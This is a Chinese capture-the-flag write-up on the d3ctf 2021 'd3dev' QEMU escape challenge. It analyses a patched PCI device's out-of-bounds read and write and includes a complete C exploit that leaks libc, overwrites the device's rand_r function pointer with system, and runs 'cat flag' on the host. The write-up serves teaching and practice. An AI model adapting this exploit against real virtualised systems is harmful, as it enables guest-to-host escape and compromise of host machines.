CTF-pwn-虚拟化-【d3ctf-2021-d3dev】

2024-06-20 13:52
文章标签 ctf 2021 虚拟化 pwn d3ctf d3dev

本文主要是介绍CTF-pwn-虚拟化-【d3ctf-2021-d3dev】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 参考
  • 流程
  • 附件
  • 检查
  • 启动信息
  • 逆向分析
  • 漏洞
  • 查看设备配置信息
  • exp

参考

https://x1ng.top/2021/11/26/qemu-pwn/
https://bbs.kanxue.com/thread-275216.htm#msg_header_h1_0
https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYh2xuCllx7whD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4

流程

qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机

启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数

要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag

附件

在这里插入图片描述

在这里插入图片描述

检查

在这里插入图片描述

启动信息

新建文件夹 fs
进入fs 文件夹

cpio -idv < rootfs.img的路径

将解压后的保存在当前文件夹
在这里插入图片描述

setsid /bin/cttyhack setuidgid 0 /bin/sh  #shell将以root权限执行

逆向分析

qemu文件放入IDA

  • 搜索函数名来定位相关函数
  • _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types 在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    可以看到相关的一些mmio和pmio的函数
    在这里插入图片描述

漏洞

在这里插入图片描述

在这里插入图片描述

opaque转换为结构体
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
有个tea加密问gpt的 ,将opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]的高32位和低32位加密

opaque->mmio_read_part为1,返回高32位
opaque->mmio_read_part为0,返回低32位
在这里插入图片描述
v4 = opaque->seek + (unsigned int)(addr >> 3)如果opaque->mmio_write_part为0会修改opaque->blocks[v4] = (unsigned int)val;

在这里插入图片描述
根据addr返回opaque的不同字段的值
在这里插入图片描述
addr == 8并且val <= 0x100会opaque->seek = val,addr > 8并且addr == 28会opaque->r_seed = val然后调用((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size);否则addr不为零就opaque->key清零

  1. d3dev_mmio_write和d3dev_mmio_read能写读opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]
  2. d3dev_pmio_write能给opaque->seek赋值和调用opaque->rand_r( &opaque->r_seed)和给opaque->key清零和 opaque->memory_mode = val

查看设备配置信息

在这里插入图片描述

在这里插入图片描述

exp

//gcc -o exp exp.c -static#include <stdint.h> 
#include <fcntl.h> 
#include <sys/mman.h> 
#include <sys/io.h> 
#include <stdio.h> 
#include <unistd.h> unsigned char* mmio_mem = 0;void setup_mmio() {int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}void mmio_write(uint32_t addr, uint32_t value) {*((uint32_t*)(mmio_mem + addr)) = value;
}uint64_t mmio_read(uint64_t addr) {return *((uint32_t *)(mmio_mem + addr));
}uint32_t pmio_base = 0xc040;void setup_pmio() {iopl(3);
}void pmio_write(uint32_t addr, uint32_t value)
{outl(value, pmio_base + addr);
}uint64_t pmio_read(uint32_t addr)
{return (uint64_t)inl(pmio_base + addr);
}uint64_t encode(uint32_t high, uint32_t low) {uint32_t addr = 0xC6EF3720;for (int i = 0; i < 32; ++i) {high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));addr += 0x61C88647;}return (uint64_t)high * 0x100000000 + low;
}uint64_t decode(uint32_t high, uint32_t low) {uint32_t addr = 0x0;for (int i = 0; i < 32; ++i) {addr -= 0x61C88647;low += (((high + addr) ^ (high >> 5) ^ (16 * high)));high += ((low + addr) ^ (low >> 5) ^ (16 * low));}return (uint64_t)high * 0x100000000 + low;
}int main(int argc, char* argv[]) 
{printf("[+] Setup\n");setup_pmio();setup_mmio();printf("[+] IO\n");pmio_write(0x8, 0x100); //写 opaque->seek = 0x100mmio_write(8*1,0); // opaque->blocks[0x101]=0mmio_write(0,0);mmio_write(8*2,0); // opaque->blocks[0x102]=0mmio_write(0,0);uint64_t libcbase=0;libcbase = mmio_read(8*3);   //第一次会返回这块8字节内存的低4字节,第二次返回高4字节libcbase+= (mmio_read(8*3))<<32 ; //opaque->blocks[0x103]即rand_r函数指针 为qemu进程中的变量此时是qemu进程中的libc中的函数地址libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x41c30;printf("[+] libcbase: 0x%lx\n",libcbase);uint64_t system = libcbase+0x4dab0;printf("[+] system: 0x%lx\n",system);uint64_t enc_system = encode(system>>32, system&0xffffffff);mmio_write(8*3,enc_system&0xffffffff);mmio_write(8*3,enc_system>>32);//opaque->blocks[0x103]往rand_r函数指针 写system函数指针pmio_write(0x8, 0);mmio_write(0,0x67616c66);pmio_write(0x1c,0x20746163);  //63 61 74 20 //会调用下面这个 //if ( addr == 28 )// {//   opaque->r_seed = val;//   key = opaque->key;//   do//     *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(//                &opaque->r_seed,//                28LL,//                val,//                *(_QWORD *)&size);//   while ( key != (uint32_t *)&opaque->rand_r );// }return 0;
} 

在这里插入图片描述

泄露libc后可以去libc-database找,也可以直接通过gdb中计算偏移

这篇关于CTF-pwn-虚拟化-【d3ctf-2021-d3dev】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1078323

相关文章

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

【虚拟化】AIO主机安装PVE8,配置网络,安装win11(virtio,qcow2,scsi,oobe,adk)

【虚拟化】AIO主机安装PVE8,配置网络,安装win11(virtio,qcow2,scsi,oobe,adk) 文章目录 1、ESXI vs PVE,AIO主机系统二选一2、PVE网络配置(DNS,换源,网卡,https,概览)3、win11虚拟化配置(virtio,raw,qcow2)附,域名解析,rocky9.4,黑群晖 1、ESXI vs PVE,AIO主机系统二选

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

【QNX+Android虚拟化方案】120 - Android 侧 USB2.0 插拔过程

【QNX+Android虚拟化方案】120 - Android 侧 USB2.0 插拔过程 基于原生纯净代码,自学总结 纯技术分享,不会也不敢涉项目、不泄密、不传播代码文档!!! 本文禁止转载分享 !!! 汇总链接:《【QNX+Android虚拟化方案】00 - 系列文章链接汇总》 本文链接:《【QNX+Android虚拟化方案】120 - Android 侧 USB2.0

ARM 虚拟化介绍

0.目录 文章目录 0.目录1.概述 1.1 Before you begin 2.虚拟化介绍 2.1 虚拟化为什么重要2.2 hypervisors的两种类型2.3 全虚拟化和半虚拟化2.4 虚拟机和虚拟CPUs 3.AArch64中的虚拟化4.stage 2 转换 4.1 什么是stage 2 转换4.2 VMIDs4.3 VMID vs ASID4.4 属性整合和覆盖4.5模拟

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

linux下的虚拟化

1.下载并且安装 下载客户机和工具 完成之后打开客户机,并且进行安装;安装之后会出现配置软件的界面,我们按照自己的需求进行相关配置即可 这个界面会有我们需要的各种相关设置 在设置自己的超级用户密码以及自己账户及密码之后就完成了虚拟机的安装、接下来进行reboot重新启动即可 到这就已经成功在Linux中安装了虚拟机,完成了虚拟化部署 二、复制虚拟机到远程主机

【银河麒麟高级服务器操作系统实例】虚拟化平台系统服务中断现象分析及处理建议

服务器环境以及配置 【机型】虚机 处理器: Kunpeng-920 内存: 40G 【内核版本】 4.19.90-23.8.v2101.ky10.aarch64 【OS镜像版本】 银河麒麟操作系统 Kylin-Server-10-SP1-Release-Build20-20210518-arm64 【第三方软件】 智能运维系统、mysql数据集群 现象描述 环境描